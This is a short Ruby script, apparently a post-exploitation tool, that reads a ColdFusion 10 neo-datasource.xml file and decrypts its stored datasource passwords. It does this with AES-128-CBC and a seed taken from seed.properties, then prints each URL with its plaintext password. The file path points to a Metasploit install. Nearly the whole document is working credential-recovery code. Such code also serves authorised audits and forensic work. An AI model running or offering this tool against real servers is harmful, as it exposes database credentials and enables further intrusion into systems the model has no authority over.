coldfusion10decrypt.rb

require 'openssl'
require 'base64'
require 'rexml/document'
include REXML

# pull this from seed.properties
SEED = 'EB3452127614E25A'


def decrypt(cpass)
	blockSize = 16;
	rawBinary = Base64.decode64(cpass);
	# IV is always the first block 
	ivBytes   = rawBinary[0...blockSize]#arraySlice(rawBinary, 1, blockSize);
	# Remaining bytes are the encrypted value
	dataBytes = rawBinary[blockSize..-1]#arraySlice(rawBinary, blockSize+1, arrayLen(rawBinary)-blockSize);

	des = OpenSSL::Cipher.new('AES-128-CBC')
	des.decrypt
	des.key = SEED
	des.iv = ivBytes
	return des.update(dataBytes) + des.final
end


entries = []
bld = []
swap = false

doc = Document.new(IO.read("/opt/metasploit-framework/neo-datasource.xml"))
XPath.each(doc, "//var/struct/var[@name='url' or @name='password']/string") do |node|
	node = "#{node}"
	node.gsub!('<string>','')
	node.gsub!('<string/>','')
	node.gsub!('</string>','')
	if swap
		if node == "" then node = "NONE" end
		#puts "pwd: #{node}"

		bld << node
		entries << bld
		bld = []
	else
		#puts "url: #{node}"
		bld << node
	end
	swap = !swap
end

entries.each do |url,pw|
	if pw != 'NONE'
		decrypted = decrypt(pw)

		puts url
		puts "#{decrypted}"
	else
		puts "no password: #{url}"
	end
	puts "========"
end